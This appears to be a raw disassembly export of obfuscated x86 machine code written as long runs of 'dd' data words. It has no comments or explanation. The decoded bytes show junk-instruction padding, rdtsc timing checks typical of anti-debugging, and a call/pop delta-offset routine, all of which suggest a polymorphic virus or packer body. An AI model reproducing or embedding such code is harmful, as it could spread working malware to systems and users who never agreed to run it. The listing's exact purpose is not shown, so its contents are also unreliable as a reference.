dd 685F05E9h, 2E12DE99h, 5E960h, 58F40000h, 51DABB28h
dd 3481615Bh, 0DDD6624h, 65BD8B2Eh, 0FF05E91Eh, 0E9292D95h
dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h
dd 0C3504000h, 0FB67C770h, 9226C680h, 0CE858900h, 6A05ECBAh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 666AC352h, 23BCE781h, 23EE9h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 2118A43Fh, 0DA220FD6h, 0F5BD89D8h, 8B05E929h, 0ECBAC685h
dd 0B48EBB05h, 0C7645Eh, 18h, 103E780h, 0E91E6DB5h, 0CAB58B05h
dd 8B05ECBAh, 0E92F3985h, 56006A05h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 11E9D173h
dd 0F2000000h, 58317D19h, 0A096F0BFh, 0BD2C8806h, 0E85CB3DFh
dd 81660689h, 8BD8BCCBh, 0E9286985h, 0EE905h, 13780000h
dd 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 6A044689h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 9047C352h, 1F8F5A8h, 8A0F6096h, 2, 12E85857h, 6E000000h
dd 5301CB7Bh, 47C031F5h, 0FC93AB49h, 0CD776FCEh, 0CF8B666Eh
dd 60506158h, 52D78B66h, 59FE8B66h, 6A9661h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 43EB4AC3h
dd 97990A3Dh, 662EBFFBh, 0B5FF50FBh, 5ECBAC6h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6BC35747h, 0DA0239Bh
dd 10E969A7h, 42000000h, 0A418932h, 4894CD95h, 935E0FC2h
dd 0E8BBFF21h, 4, 1F03FFh, 10E8h, 0DC2E6C00h, 1021CA87h
dd 0BA936933h, 18FB1F3Bh, 525060BEh, 585A310Fh, 5F615E56h
dd 0BE950h, 0A40B0000h, 7A6346E4h, 5E53D14h, 24448BD7h
dd 66008B04h, 4489DA8Bh, 0E3BB0424h, 5816F5D3h, 6880Fh
dd 0BD0B0000h, 5E90359h, 0BACE858Dh, 6A05ECh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 180424h, 53430000h, 39B039C3h
dd 669039B0h, 50D64ABBh, 8B665250h, 0E9310FF8h, 7, 20C6128Dh
dd 5A89FC44h, 8B669058h, 2D95FFDEh, 6A05E929h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 0B456C357h, 11E8418Fh, 0B6000000h, 0A02E48D0h, 2444882Eh
dd 9ACDEB5Ch, 0D97A06A2h, 4BC8CB81h, 615F33F0h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 16C35141h, 34B69891h
dd 718D299Ch, 0C705E925h, 0E9163D85h, 305h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0A841B74Bh, 0BF0FF9CCh, 0CEBD83FEh, 5ECBAh, 10840Fh
dd 0BD8B0000h, 5E900C5h, 0E9DEBF0Fh, 1Dh, 305095B7h, 4400110Ch
dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
dd 4305036h, 11640011h, 10E8C101h, 2114430h, 3116400h
dd 4E98358h, 1BEBE775h, 10E8C150h, 3116428h, 2114430h
dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 99D89C0h
dd 8305E929h, 0E9163DBDh, 850F0305h, 43Fh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 37C35747h, 0BD836633h
dd 5ECBACEh, 14840F00h, 0F000004h, 681h, 0D9BD8B00h, 8905E92Dh
dd 0E922D1BDh, 0CEB5FF05h, 6605ECBAh, 6A53F381h, 5F1BD8Bh
dd 95FF05E9h, 5E92B75h, 0BE9h, 46842100h, 0F0404683h, 48013E21h
dd 0BAC2B58Bh, 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 8B6694C3h, 106C7F8h, 6A000100h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h
dd 46000000h, 0C7D3C356h, 0A9697910h, 0F96F9D2h, 81h, 6A965000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h
dd 42000000h, 0C254C352h, 9CDD2FA3h, 0FF069375h, 0ECBACEB5h
dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h
dd 0C3574700h, 0FFF832A9h, 0E92B4D95h, 3D950105h, 8B05E90Eh
dd 0ECBAC2B5h, 219D8905h, 8B05E92Eh, 0E90FDD85h, 0AD958905h
dd 8905E906h, 0C486h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 38396885h, 12E8EDA8h
dd 14000000h, 698B8A5Eh, 0BF8F72FBh, 49D03DA1h, 0E690A55Eh
dd 10EB8141h, 5B276F79h, 2655958Bh, 6A05E9h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 28F816C3h
dd 82599BBBh, 83FB8B15h, 9D8B04C2h, 5E91621h, 6A205089h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h
dd 46000000h, 0A61EC356h, 12659D8Bh, 858D05E9h, 5ECD055h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 4C35242h
dd 729CA443h, 0E9F85CFAh, 9, 46F2F346h, 0ABD5B1D1h, 0B886891Fh
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0A48AC350h, 6AE185h, 0C59D8960h
dd 0B05E90Dh, 0E90E31B5h, 0B5FF6105h, 5ECBACEh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C8C35343h, 20E1714Ch
dd 0AD95FF49h, 8905E900h, 0E90CC5BDh, 11E85005h, 5C000000h
dd 0B311F533h, 5173716Eh, 815DBD4Ah, 7D20953Fh, 5E49FFBBh
dd 34895F63h, 6D8D2924h, 8B05E90Fh, 0E9071D9Dh, 0CEB5FF05h
dd 6A05ECBAh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 0A397C355h, 0FB8B96F2h, 16019531h
dd 95FF05E9h, 5E93231h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0E0C35747h, 0C731727Dh, 0BD8D892Eh, 8305E92Dh
dd 0E92AB1BDh, 840F0005h, 3Dh, 2F4DBD89h, 0E99605E9h, 0Fh
dd 2914F6F3h, 0BAC7CDC6h, 8D62A347h, 5020C612h, 9E95250h
dd 8A000000h, 75D8BE59h, 26FEE6E7h, 5060310Fh, 5A310F52h
dd 615F5758h, 8B96585Ah, 0CEB5FFF9h, 6A05ECBAh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 7F6FC357h, 6195FF28h, 8B05E92Fh, 0E92A01BDh, 0DF816605h
dd 0B5FF4B4Ch, 5ECBACEh, 6890Fh, 0CF810000h, 6868A37h
dd 4A19D29h, 95FF05E9h, 5E92DC5h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 96C35242h, 0B658C2F3h, 0A9BD8BF4h
dd 8305E907h, 0E903FDBDh, 840F0205h, 5Ch, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 1Ah, 5CC35040h, 86EDCB37h
dd 858B46A1h, 5E93055h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 47C35242h, 0DFBF8D11h, 37ACE145h, 3810Fh
dd 8B660000h, 0FCC780FBh, 0F90000C6h, 27A985C7h, 5E9h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 0E9BD69C3h, 0FFFFF3B6h, 6AC18Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0F92971C3h, 0FBE9F991h, 6859D23h, 850F05E9h, 6, 0DC19D8Bh
dd 858D05E9h, 5E921E5h, 32CDBD8Bh, 509005E9h, 60605250h
dd 61D1B761h, 0B3BF310Fh, 5A539D4Bh, 6A9058h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 4BC35242h, 1E9D40C9h
dd 0B59998BAh, 8529DA8Bh, 5E917D1h, 9D89006Ah, 5E927F1h
dd 0C7C2858Dh, 83F505EDh, 0BD8905C0h, 5E930C9h, 8B525050h
dd 0F310FFEh, 681h, 0F525000h, 5A585A31h, 24048958h, 6E8h
dd 93592900h, 95E3A6Ah, 0E92B6D9Dh, 6A5F05h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 39C35545h, 0D496FC7Bh
dd 6800FB2h, 8B000000h, 0E905419Dh, 0FC006A05h, 0AA195FFh
dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0B02CBC3h, 2D31BD89h, 8D8D05E9h, 5ECADBFh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 49C35141h
dd 3527C051h, 0FA94E743h, 0F18D29EEh, 0FF05E915h, 56006AD1h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 89967BEBh, 71C3C0CDh, 0BF66518Eh, 0BF5BCDADh, 471B8FD9h
dd 1BDBD83h, 0F0105E9h, 7285h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 0FC0C341h
dd 383h, 0D8BF0F00h, 8B66026Ah, 71BD8BD8h, 5005E90Fh, 58B0Fh
dd 0C2BB0000h, 8966DEA8h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 8BC4CCC3h, 0E929F5BDh
dd 0AD95FF05h, 8905E900h, 0E92F8995h, 0E934B305h, 0CBBh
dd 0E8h, 0ED815D00h, 5EDC7CCh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 0D6C35040h, 0C6B190A6h, 4694A05h
dd 0F3CBCB81h, 6A1C95h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 150424h, 53430000h, 0F1633C3h, 0EB81FEBFh, 339BB2B4h
dd 904B858Dh, 9D3105ECh, 5E90625h, 5830F90h, 0BF000000h
dd 74F5FC52h, 0E8525050h, 0Bh, 0F9057F42h, 4B44CDC5h, 66D4E2EBh
dd 0F5FD88Bh, 11E831h, 884E0000h, 58072864h, 0B2ACE6C5h
dd 66F06F71h, 8B6B92F3h, 585A5FDFh, 35FF6490h, 0
aB4Sdi db 'Ó4',9,'¹sd‰%',0
align 10h
dd 0DABF0F00h, 68985FFh, 6A05E9h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0B34B6CC3h, 0B5FFFF6Ah
dd 5E90055h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 0A7C35040h, 0A6CD3F69h, 34338DDDh, 0C995FFFBh
dd 0E905E907h, 102h, 2A61BD23h, 0B005E9h, 0E6FEBF0Fh, 48A0F70h
dd 66000000h, 0E4C6D4BBh, 9DB8171h, 3C52FDFDh, 0DB830F61h
dd 33000000h, 0E9109D9Dh, 0C8B60F05h, 2BFD8D09h, 0DF8105E9h
dd 6C6A4F04h, 6BAh, 8BDE8A00h, 61BD8BC1h, 0C105E910h, 816604E8h
dd 66E23FC3h, 0DB81E2F7h, 2FB4CE2h, 9D8BC82Bh, 5E900B9h
dd 9529D18Bh, 5E91911h, 91E9h, 29BD0900h, 8B05E906h, 185h
dd 0A1BD8B00h, 8305E90Fh, 0BF6607C0h, 0C0837509h, 5E900h
dd 30640000h, 3BBC2688h, 1E830FD0h, 0E8000000h, 0Fh, 0AD29B4Ch
dd 7EFEEE58h, 0DB73738h, 5FC25F64h, 49E9h, 0C2BF6600h
dd 0FF8D8BCEh, 83FFFFFFh, 840F01E1h, 36h, 13E9F9h, 25460000h
dd 8101A986h, 7B5B2AFBh, 7233A3A6h, 476893D7h, 0FFA58361h
dd 0FEFFFFFFh, 13D19D8Bh, 958905E9h, 1, 0DEB70F52h, 0E95Bh
dd 0B58D0000h, 5ED4843h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 64C35343h, 30D3802Bh, 0CF81006Ah, 0DE41C1Bh
dd 228DBD89h, 95FF05E9h, 5E91E95h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 0CBC35646h, 0D44D6C90h, 1EE18D29h
dd 9FB905E9h, 6A00000Fh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0B513C355h, 0E913A289h
dd 13h, 0BA1337B4h, 0CB9A4CBBh, 243A5846h, 0FF791EFAh
dd 0E8A8C983h, 8, 0F63A52E1h, 8FD7DE8Dh, 25958B60h, 0F05E933h
dd 87h, 835F6100h, 0F380FCE1h, 6AFC5Eh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 0B84BB0C3h
dd 0
dd 17A9B589h, 0D22B05E9h, 0C233ADF9h, 0D003E8D1h, 7504E983h
dd 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0D4253CB2h, 0F50DA9Bh, 0D5FD8B7h, 88h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0FFC35040h, 28ACE45Ah
dd 6F8B00BFh, 1651BD8Bh, 958B05E9h, 5E92655h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 48C35242h, 0DD93BABBh
dd 8BDE9B58h, 0E908058Dh, 8B50F505h, 3188BC2h, 8B188BC1h
dd 3E8D1C1h, 58188BC2h, 8DBD2B51h, 5B05E912h, 1CF1BD83h
dd 0F0005E9h, 7984h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1C04h, 0C3504000h, 56BB26Eh, 81AFE01Dh, 2BBF6699h
dd 0B809h, 0B5290000h, 5E90C9Dh, 4E6D8D8Dh, 6A05E9h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 0E81FB1C3h, 5, 370F11B9h, 4D8D3184h, 5F05E90Dh, 5E9h
dd 14CF3200h, 0E1FF95F0h, 7A99589h, 0BD8305E9h, 5E9163Dh
dd 0C4840F00h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 870AC352h, 0BD8B4558h
dd 5E90811h, 163DBD83h, 0F0105E9h, 3AD84h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 7C3DD53Bh, 143A2881h, 3DBD837Dh, 305E916h, 346860Fh
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 26AABC3h, 699D8B60h, 6605E932h, 6AD98Ch
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
dd 0AD77CFC3h, 0B7E9BF22h, 0E1802133h, 55006A04h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 6F8603EDh, 0FC90AFFh, 0EC84h, 13E800h, 0EB8F0000h, 65509256h
dd 60886AC9h, 704C9951h, 0B0FEE8ABh, 8B5BF934h, 0E9286985h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h
dd 0C3534300h, 0F18C4FD8h, 0D4F58C13h, 0B1E3812Bh, 330FB447h
dd 0E90E6185h, 0D98B6605h, 19BF6690h, 52505023h, 5B5F5350h
dd 585A310Fh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 6A70B4h, 0C810Fh, 8B0F0000h, 6, 2F5DBD8Bh
dd 0D46805E9h, 5130B66Ch, 50616060h, 5A310F52h, 815F6158h
dd 6F2B2434h, 0FFF930A9h, 0E9292D95h, 0FB8B6605h, 0BACE8589h
dd 6A05ECh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 7EBA2CC3h, 0CF8166DCh, 9BE98636h, 9000001h
dd 0E9223195h, 0C6858B05h, 0B705ECBAh, 1800C7B1h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 499BC351h, 0CAB58BF9h, 8905ECBAh, 0E924D59Dh
dd 5D8D8905h, 8B05E92Dh, 0E92F3985h, 5E905h, 6FEC0000h
dd 9AD6905h, 0E928319Dh, 9068905h, 0E910759Dh, 69858B05h
dd 6A05E928h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 19042444h, 43000000h, 1CADC353h, 174CA6FAh, 0C592C8BBh
dd 446895Ah, 8850F50h, 52000000h, 310F5250h, 895F585Ah
dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 0DEAD7BC3h, 0AC19D8Bh, 9D8B05E9h, 5E93035h
dd 0BAC6B5FFh, 2C6805ECh, 53E657C4h, 62CEBB60h, 61600EC4h
dd 4815B61h, 0C73FD324h, 57006A19h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0B26E82DEh, 0E01D056Bh
dd 299D31AFh, 8005E930h, 858D2EE3h, 5ECBACEh, 0C6DE381h
dd 505056EAh, 0F310F52h, 0B8Dh, 6E900h, 3B070000h, 0CBAEAAAh
dd 489585Ah, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1804h, 0C3564600h, 6A7D888Dh, 4890F64h, 66000000h, 56DDA9BFh
dd 12218D89h, 0FF5F05E9h, 0E9292D95h, 52006A05h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0C7FF9D13h, 66A5479Ch, 0E861D88Bh, 7, 712B7DFBh, 31D20F06h
dd 0E90E799Dh, 85C75B05h, 5E9163Dh, 3, 110DB529h, 0BD8305E9h
dd 5ECBACEh, 1D840F00h, 8B000000h, 0E917759Dh, 68F0F05h
dd 0B000000h, 0E929FDBDh, 21E905h, 0BD8B0000h, 5E90775h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h
dd 0E90191BDh, 0EB816605h, 6AD64Ah, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 66B2D7C3h
dd 79A3C781h, 163DBD83h, 0F0305E9h, 40D85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 7E8166Ch, 18000000h, 2297FACFh, 0BD315512h, 5E904DDh
dd 0CEBD835Fh, 5ECBAh, 3D0840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 47DEAC3h
dd 0CF593D60h, 0E9E8ADB5h, 12h, 6EE7ADFAh, 0E3A099BDh
dd 0DE7A4D62h, 424068A6h, 0B5FFE709h, 5ECBACEh, 0D1B721BFh
dd 7595FF5Eh, 8905E92Bh, 0E905A98Dh, 0C2B58B05h, 6A05ECBAh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 66C0C352h, 0E380FA8Bh, 106C756h, 0BF000100h
dd 12519E9Ah, 8B525050h, 53310FFEh, 5A5B6160h, 24348958h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5BC35747h
dd 0DD4875ABh, 0B589A30Fh, 5E92AB5h, 0BACEB5FFh, 6A05ECh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 9072C2C3h, 0C59D8B6Dh, 0FF05E907h, 0E92B4D95h, 12E905h
dd 94740000h, 0CDF0DC11h, 0F6A0E641h, 3E1106ABh, 3E936DF1h
dd 8BFAB70Fh, 0ECBAC2B5h, 0D3816605h, 858B804Eh, 5E90FDDh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0AEC35242h
dd 0FFD2EE24h, 780BAA22h, 0A860F15h, 0E9000000h, 5, 4B34C355h
dd 0C48689FBh, 8A000000h, 8BDF8BD9h, 0E9265595h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 0F09E9565h, 5E7218BFh, 7E918h, 0E7270000h, 866EEEC8h
dd 4C283ECh, 0B758589h, 508905E9h, 0FD9D2320h, 8D05E92Ch
dd 0ECD05585h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 8A4F9EBAh, 0F9B70FF9h
dd 0B88689h, 0BD8B0000h, 5E92269h, 0AF59D8Bh, 6A05E9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 3EC35747h
dd 7F8229B8h, 5F2E4145h, 10099D29h, 0B5FF05E9h, 5ECBACEh
dd 25CF8166h, 0AD95FF90h, 0E905E900h, 0Ch, 78630C4Bh, 6134E13Dh
dd 630B7343h, 8A0F5096h, 0
dd 5E996h, 0D0A00000h, 0FF42FF32h, 0ECBACEB5h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0F6717BDCh, 0FFD84ACAh, 0E9323195h, 91BD8B05h, 8305E924h
dd 0E92AB1BDh, 840F0005h, 4Ah, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ch, 47C35242h, 8724CD25h, 67AAD642h
dd 3850F51h, 66000000h, 95FFB8Bh, 0E92699B5h, 21BF9605h
dd 500D45A9h, 800Fh, 89960000h, 0E92DE5BDh, 0B5FFF505h
dd 5ECBACEh, 10E9h, 0CDFFE300h, 102624E6h, 6692444Eh, 9A4ECE8Dh
dd 6195FF65h, 3105E92Fh, 0E92F9995h, 0CEB5FF05h, 6A05ECBAh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 4EB8C357h, 89E8D380h, 0E92D418Dh, 0C595FF05h
dd 6A05E92Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 3E1C357h, 0E90D599Dh, 0FDBD8305h
dd 205E903h, 47840Fh, 6DB70000h, 3055858Bh, 6A05E9h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 0FC47E4C3h, 6A0000C6h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0B7F4C351h, 0A985C755h
dd 5E927h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 9CDCC355h, 442A1A4Ah, 830F4E3Eh
dd 0
dd 2B659D8Bh, 55E905E9h, 6AFFFFF4h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 2174C351h
dd 16970E9Ah, 8981103Fh, 0E90799B5h, 8DC18B05h, 0E921E585h
dd 0B390F505h, 666050B2h, 0BB7059B9h, 64087D1h, 0D98B9061h
dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 1BA6E3C3h, 0BF0F696Eh, 6A006ADFh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 6C44C355h, 88858DA1h, 6A05EDD6h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E1A1C352h
dd 7ACF98F0h, 0E960F1D8h, 14h, 0CD08D6F0h, 0A21102C9h
dd 45C5C18Bh, 0DF9FD5Fh, 0C0BAB666h, 8361E6B4h, 0BD8B05C0h
dd 5E92699h, 0FE850h, 84A0000h, 47BEAEB1h, 5462A8E7h, 1E9EBB5Ch
dd 0AE957F5h, 8D000000h, 395AD24Bh, 0CDFA8DDAh, 895F5FB3h
dd 8FBB2404h, 6A4AC1A5h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0A281B6EFh, 2D95899Bh
dd 6A05E919h, 0EDB50900h, 8B05E90Eh, 0E91E65BDh, 0A195FF05h
dd 6005E90Ah, 0CE9h, 621BDA00h, 0F363F595h, 514B3A79h
dd 59531D2h, 6105E933h, 0ADBF8D8Dh, 6A05ECh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 0DE767BC3h
dd 0FF97FC0Ah, 57006AD1h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1404h, 0C3574700h, 9D8B5101h, 5E919CDh, 0BDBD835Bh
dd 105E901h, 7B850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0BF00F3C3h, 0B177B368h
dd 0DDED381h, 26A6ED0h, 0EB99D8Bh, 509005E9h, 1C04BB66h
dd 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 9E46A905h, 2DFDABA3h, 0AD95FFh, 800F05E9h
dd 10h, 8E8h, 0B0F9D600h, 12F6C979h, 5B6160C1h, 4AEF8166h
dd 0D77E9E8h, 0E80000h, 5D000000h, 0D692ED81h, 896005EDh
dd 0E92D418Dh, 69958905h, 6105E90Fh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 0C4C35141h, 1E8E65AFh, 2B7B2E25h
dd 0E92DE9BDh, 4B858D05h, 8105EC90h, 0E80796CBh, 0CFBB9079h
dd 5004BAD1h, 8D0Fh, 6A900000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 64F6C356h, 35FFh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 0D2111C3h, 89076A1Eh, 0E9065595h, 25896405h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0D3C35040h
dd 475F0F49h, 26C19D8Bh, 85FF05E9h, 5E90689h, 31FF6AF8h
dd 0E927219Dh, 55B5FF05h, 6A05E923h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 88FEC355h
dd 95FFF834h, 5E907C9h, 15BE9h, 358D3100h, 0B005E923h
dd 850F00h, 0E9000000h, 11h, 0D2E2F1EDh, 50777C2Bh, 0EEEE4810h
dd 0C96407B4h, 0E870E64Bh, 0Eh, 1B037074h, 0C77FF495h
dd 700F141Ch, 8BBFCD94h, 5F516655h, 606071E4h, 14E8h, 4661C100h
dd 3BAD4606h, 0EDEB3CB8h, 81687DA6h, 2CEF99Ch, 958B5B30h
dd 5E91915h, 0FE861h, 0A57A0000h, 8248D4B4h, 94DDF7A8h
dd 0D36D3118h, 5AD08BD6h, 0F613C61h, 0D783h, 5420BB00h
dd 0B60F39D8h, 0DF8B66C8h, 9853EF81h, 6BA179Eh, 0B3000000h
dd 6DBD038Ah, 8B05E928h, 0C1DE8BC1h, 0BD8B04E8h, 5E90F71h
dd 2BE2F766h, 0FBBF0FC8h, 8B66D18Bh, 9AE9D8h, 14E90000h
dd 5F000000h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h, 0AF87A78Bh
dd 8BBAC08Eh, 485h, 0FDE8B00h, 0C083DBBFh, 0F7816607h
dd 0C08318BEh, 9D9D3100h, 3B05E910h, 16830FD0h, 0E9000000h
dd 0Ch, 35668A3Bh, 162FF63Ch, 253DD487h, 47E9h, 0FF8D8B00h
dd 0F5FFFFFFh, 0F01E183h, 3784h, 83FE8B00h, 0FFFFFFA5h
dd 0D381FEFFh, 68C5A3E0h, 49589h, 60600000h, 8D8B6160h
dd 5E90335h, 0B8B0F61h, 0E9000000h, 6, 0CB95C06Fh, 0E9617B0Bh
dd 0
dd 57E2B58Dh, 0EE905EDh, 0FA000000h, 57440961h, 57B9DED7h
dd 72CDD372h, 6A006AE1h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0C6A8C352h, 81F5239Eh
dd 0F88B4567h, 1E9595FFh, 850105E9h, 5E92735h, 0E4BB9h
dd 0CF816600h, 0E18395CFh, 55006AFCh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0B2B49B3Eh
dd 13E9h, 33683F00h, 0C973E9A1h, 50C58AB8h, 0B8359A7Eh
dd 0F120F9E6h, 1BB960FCh, 611D9FFAh, 0B8h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 6D9D8932h, 8B05E905h, 0E923B59Dh, 6AD22B05h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
dd 0DDBAC353h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 57D9D89h
dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
dd 53430000h, 600BB2C3h, 880Dh, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1604h, 0C3504000h, 29C3C94Ch
dd 0E91859B5h, 55958B05h, 6A05E926h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 2927C350h
